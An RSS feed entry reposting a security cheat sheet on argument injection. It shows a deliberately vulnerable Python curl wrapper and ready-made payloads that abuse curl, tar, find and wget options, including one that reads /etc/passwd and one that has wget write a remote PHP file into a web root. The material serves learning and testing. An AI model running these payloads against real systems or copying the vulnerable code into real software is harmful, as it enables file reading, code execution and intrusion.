<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Injection Archives - Good Shepherd News - Fastest Growing Religious, Free Speech &amp; Political Content</title>
	<atom:link href="https://goodshepherdmedia.net/tag/injection/feed/" rel="self" type="application/rss+xml" />
	<link>https://goodshepherdmedia.net/tag/injection/</link>
	<description>Christian, Political, ‎‏‏‎Social &#38; Legal Free Speech News &#124; Ⓒ2024 Good News Media LLC &#124; Shepherd for the Herd! God 1st Programming</description>
	<lastBuildDate>Mon, 02 Jan 2023 12:28:23 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.1</generator>

<image>
	<url>https://goodshepherdmedia.net/wp-content/uploads/2023/08/Good-Shepherd-News-Logo-150x150.png</url>
	<title>Injection Archives - Good Shepherd News - Fastest Growing Religious, Free Speech &amp; Political Content</title>
	<link>https://goodshepherdmedia.net/tag/injection/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Argument Injection – Vulnerabilities</title>
		<link>https://goodshepherdmedia.net/argument-injection-vulnerabilities/</link>
		
		<dc:creator><![CDATA[The Truth News]]></dc:creator>
		<pubDate>Wed, 12 Jan 2022 12:26:14 +0000</pubDate>
				<category><![CDATA[Tech]]></category>
		<category><![CDATA[Zee Truthful News]]></category>
		<category><![CDATA[🔐Cybersecurity]]></category>
		<category><![CDATA[Argument Injection]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[how to safeguard yourself from hackers]]></category>
		<category><![CDATA[Injection]]></category>
		<category><![CDATA[Pen Test]]></category>
		<category><![CDATA[protection from hacking]]></category>
		<category><![CDATA[Vulnerabilities]]></category>
		<guid isPermaLink="false">https://goodshepherdmedia.net/?p=7920</guid>

					<description><![CDATA[Argument Injection – Vulnerabilities Posted by spyboy Argument injection is a type of attack based on tampering with the input parameters of a page. This can enable attackers to see data which they normally cannot see or modify data which they normally cannot modify, via the user interface. Argument injection is similar to command injection as tainted data [&#8230;]]]></description>
										<content:encoded><![CDATA[<h1 class="entry-title" style="text-align: center;">Argument Injection – Vulnerabilities</h1>
<p style="text-align: center;">Posted by <span class="meta-author"><span class="author vcard"><a class="url fn n" title="View all posts by spyboy" href="https://spyboy.blog/author/spyboyblog/" rel="author">spyboy</a></span></span></p>
<p>Argument injection is <b>a type of attack based on tampering with the input parameters of a page</b>. This can enable attackers to see data which they normally cannot see or modify data which they normally cannot modify, via the user interface.</p>
<p>Argument injection is similar to command injection as tainted data is passed to a command executed in a shell without proper sanitization/escaping.</p>
<p>It can happen in different situations, where you can only inject arguments to a command:</p>
<ul>
<li>Improper sanitization (regex)</li>
<li>Injection of arguments into a fixed command (PHP:escapeshellcmd, Python: Popen)</li>
<li>Bash expansion (ex: *)</li>
</ul>
<p>In the following example, a python script takes the inputs from the command line to generate a <code>curl</code> command:</p>
<div class="highlight">
<pre id="__code_1"><code><a id="__codelineno-0-1" href="https://swisskyrepo.github.io/PayloadsAllTheThingsWeb/Argument%20Injection/#__codelineno-0-1" name="__codelineno-0-1"></a><span class="kn">from</span> <span class="nn">shlex</span> <span class="kn">import</span> <span class="n">quote</span><span class="p">,</span><span class="n">split</span>
<a id="__codelineno-0-2" href="https://swisskyrepo.github.io/PayloadsAllTheThingsWeb/Argument%20Injection/#__codelineno-0-2" name="__codelineno-0-2"></a><span class="kn">import</span> <span class="nn">sys</span>
<a id="__codelineno-0-3" href="https://swisskyrepo.github.io/PayloadsAllTheThingsWeb/Argument%20Injection/#__codelineno-0-3" name="__codelineno-0-3"></a><span class="kn">import</span> <span class="nn">subprocess</span>
<a id="__codelineno-0-4" href="https://swisskyrepo.github.io/PayloadsAllTheThingsWeb/Argument%20Injection/#__codelineno-0-4" name="__codelineno-0-4"></a>
<a id="__codelineno-0-5" href="https://swisskyrepo.github.io/PayloadsAllTheThingsWeb/Argument%20Injection/#__codelineno-0-5" name="__codelineno-0-5"></a><span class="k">if</span> <span class="vm">__name__</span><span class="o">==</span><span class="s2">"__main__"</span><span class="p">:</span>
<a id="__codelineno-0-6" href="https://swisskyrepo.github.io/PayloadsAllTheThingsWeb/Argument%20Injection/#__codelineno-0-6" name="__codelineno-0-6"></a>    <span class="n">command</span> <span class="o">=</span> <span class="p">[</span><span class="s1">'curl'</span><span class="p">]</span>
<a id="__codelineno-0-7" href="https://swisskyrepo.github.io/PayloadsAllTheThingsWeb/Argument%20Injection/#__codelineno-0-7" name="__codelineno-0-7"></a>    <span class="n">command</span> <span class="o">=</span> <span class="n">command</span> <span class="o">+</span> <span class="n">split</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
<a id="__codelineno-0-8" href="https://swisskyrepo.github.io/PayloadsAllTheThingsWeb/Argument%20Injection/#__codelineno-0-8" name="__codelineno-0-8"></a>    <span class="nb">print</span><span class="p">(</span><span class="n">command</span><span class="p">)</span>
<a id="__codelineno-0-9" href="https://swisskyrepo.github.io/PayloadsAllTheThingsWeb/Argument%20Injection/#__codelineno-0-9" name="__codelineno-0-9"></a>    <span class="n">r</span> <span class="o">=</span> <span class="n">subprocess</span><span class="o">.</span><span class="n">Popen</span><span class="p">(</span><span class="n">command</span><span class="p">)</span>
</code></pre>
</div>
<p>It is possible for an attacker to pass several words to abuse options from <code>curl</code> command</p>
<div class="highlight">
<pre id="__code_2"><code><a id="__codelineno-1-1" href="https://swisskyrepo.github.io/PayloadsAllTheThingsWeb/Argument%20Injection/#__codelineno-1-1" name="__codelineno-1-1"></a><span class="n">python</span> <span class="n">python_rce</span><span class="p">.</span><span class="n">py</span> <span class="s2">"https://www.google.fr -o test.py"</span> 
</code></pre>
</div>
<p>We can see by printing the command that all the parameters are split allowing us to inject of an argument that will save the response in an arbitrary file.</p>
<div class="highlight">
<pre id="__code_3"><code><a id="__codelineno-2-1" href="https://swisskyrepo.github.io/PayloadsAllTheThingsWeb/Argument%20Injection/#__codelineno-2-1" name="__codelineno-2-1"></a><span class="p">[</span><span class="s1">'curl'</span><span class="p">,</span> <span class="s1">'https://www.google.fr'</span><span class="p">,</span> <span class="s1">'-o'</span><span class="p">,</span> <span class="s1">'test.py'</span><span class="p">]</span></code></pre>
</div>
<h2 id="list-of-exposed-commands">List of exposed commands</h2>
<h3 id="curl">CURL</h3>
<p>It is possible to abuse <code>curl</code> through the following options:</p>
<div class="highlight">
<pre id="__code_4"><code><a id="__codelineno-3-1" href="https://swisskyrepo.github.io/PayloadsAllTheThingsWeb/Argument%20Injection/#__codelineno-3-1" name="__codelineno-3-1"></a> <span class="n">-o</span><span class="p">,</span> <span class="p">-</span><span class="n">-output</span> <span class="p">&lt;</span><span class="n">file</span><span class="p">&gt;</span>        <span class="nb">Write </span><span class="n">to</span> <span class="n">file</span> <span class="n">instead</span> <span class="n">of</span> <span class="n">stdout</span>
<a id="__codelineno-3-2" href="https://swisskyrepo.github.io/PayloadsAllTheThingsWeb/Argument%20Injection/#__codelineno-3-2" name="__codelineno-3-2"></a> <span class="n">-O</span><span class="p">,</span> <span class="p">-</span><span class="n">-remote-name</span>          <span class="nb">Write </span><span class="n">output</span> <span class="n">to</span> <span class="n">a</span> <span class="n">file</span> <span class="n">named</span> <span class="n">as</span> <span class="n">the</span> <span class="n">remote</span> <span class="n">file</span>
</code></pre>
</div>
<p>In case there is already one option in the command it is possible to inject several URLs to download and several output options. Each option will affect each URL in sequence.</p>
<h3 id="tar">TAR</h3>
<p>For the <code>tar</code> command it is possible to inject arbitrary arguments in different commands.</p>
<p>Argument injection can happen into the ”’extract”’ command:</p>
<div class="highlight">
<pre id="__code_5"><code><a id="__codelineno-4-1" href="https://swisskyrepo.github.io/PayloadsAllTheThingsWeb/Argument%20Injection/#__codelineno-4-1" name="__codelineno-4-1"></a><span class="p">-</span><span class="n">-to-command</span> <span class="p">&lt;</span><span class="n">command</span><span class="p">&gt;</span>
<a id="__codelineno-4-2" href="https://swisskyrepo.github.io/PayloadsAllTheThingsWeb/Argument%20Injection/#__codelineno-4-2" name="__codelineno-4-2"></a><span class="p">-</span><span class="n">-checkpoint</span><span class="p">=</span><span class="n">1</span> <span class="p">-</span><span class="n">-checkpoint-action</span><span class="p">=</span><span class="n">exec</span><span class="p">=&lt;</span><span class="n">command</span><span class="p">&gt;</span>
<a id="__codelineno-4-3" href="https://swisskyrepo.github.io/PayloadsAllTheThingsWeb/Argument%20Injection/#__codelineno-4-3" name="__codelineno-4-3"></a><span class="n">-T</span> <span class="p">&lt;</span><span class="n">file</span><span class="p">&gt;</span> <span class="n">or</span> <span class="p">-</span><span class="n">-files-from</span> <span class="p">&lt;</span><span class="n">file</span><span class="p">&gt;</span>
</code></pre>
</div>
<p>Or in the ”’create”’ command:</p>
<div class="highlight">
<pre id="__code_6"><code><a id="__codelineno-5-1" href="https://swisskyrepo.github.io/PayloadsAllTheThingsWeb/Argument%20Injection/#__codelineno-5-1" name="__codelineno-5-1"></a><span class="n">-I</span><span class="p">=&lt;</span><span class="n">program</span><span class="p">&gt;</span> <span class="n">or</span> <span class="n">-I</span> <span class="p">&lt;</span><span class="n">program</span><span class="p">&gt;</span>
<a id="__codelineno-5-2" href="https://swisskyrepo.github.io/PayloadsAllTheThingsWeb/Argument%20Injection/#__codelineno-5-2" name="__codelineno-5-2"></a><span class="p">-</span><span class="n">-use-compres-program</span><span class="p">=&lt;</span><span class="n">program</span><span class="p">&gt;</span>
</code></pre>
</div>
<p>There are also short options to work without spaces:</p>
<div class="highlight">
<pre id="__code_7"><code><a id="__codelineno-6-1" href="https://swisskyrepo.github.io/PayloadsAllTheThingsWeb/Argument%20Injection/#__codelineno-6-1" name="__codelineno-6-1"></a><span class="n">-T</span><span class="p">&lt;</span><span class="n">file</span><span class="p">&gt;</span>
<a id="__codelineno-6-2" href="https://swisskyrepo.github.io/PayloadsAllTheThingsWeb/Argument%20Injection/#__codelineno-6-2" name="__codelineno-6-2"></a><span class="n">-I</span><span class="s2">"/path/to/exec"</span></code></pre>
</div>
<h3 id="find">FIND</h3>
<p>Find some_file inside /tmp directory.</p>
<div class="highlight">
<pre id="__code_8"><code><a id="__codelineno-7-1" href="https://swisskyrepo.github.io/PayloadsAllTheThingsWeb/Argument%20Injection/#__codelineno-7-1" name="__codelineno-7-1"></a><span class="x">$file = "some_file";</span>
<a id="__codelineno-7-2" href="https://swisskyrepo.github.io/PayloadsAllTheThingsWeb/Argument%20Injection/#__codelineno-7-2" name="__codelineno-7-2"></a><span class="x">system("find /tmp -iname ".escapeshellcmd($file));</span>
</code></pre>
</div>
<p>Print /etc/passwd content.</p>
<div class="highlight">
<pre id="__code_9"><code><a id="__codelineno-8-1" href="https://swisskyrepo.github.io/PayloadsAllTheThingsWeb/Argument%20Injection/#__codelineno-8-1" name="__codelineno-8-1"></a><span class="x">$file = "sth -or -exec cat /etc/passwd ; -quit";</span>
<a id="__codelineno-8-2" href="https://swisskyrepo.github.io/PayloadsAllTheThingsWeb/Argument%20Injection/#__codelineno-8-2" name="__codelineno-8-2"></a><span class="x">system("find /tmp -iname ".escapeshellcmd($file));</span></code></pre>
</div>
<h3 id="wget">WGET</h3>
<p>Example of vulnerable code</p>
<div class="highlight">
<pre id="__code_10"><code><a id="__codelineno-9-1" href="https://swisskyrepo.github.io/PayloadsAllTheThingsWeb/Argument%20Injection/#__codelineno-9-1" name="__codelineno-9-1"></a><span class="x">system(escapeshellcmd('wget '.$url));</span>
</code></pre>
</div>
<p>Arbitrary file write</p>
<div class="highlight">
<pre id="__code_11"><code><a id="__codelineno-10-1" href="https://swisskyrepo.github.io/PayloadsAllTheThingsWeb/Argument%20Injection/#__codelineno-10-1" name="__codelineno-10-1"></a><span class="x">$url = '--directory-prefix=/var/www/html http://example.com/example.php';</span></code></pre>
</div>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
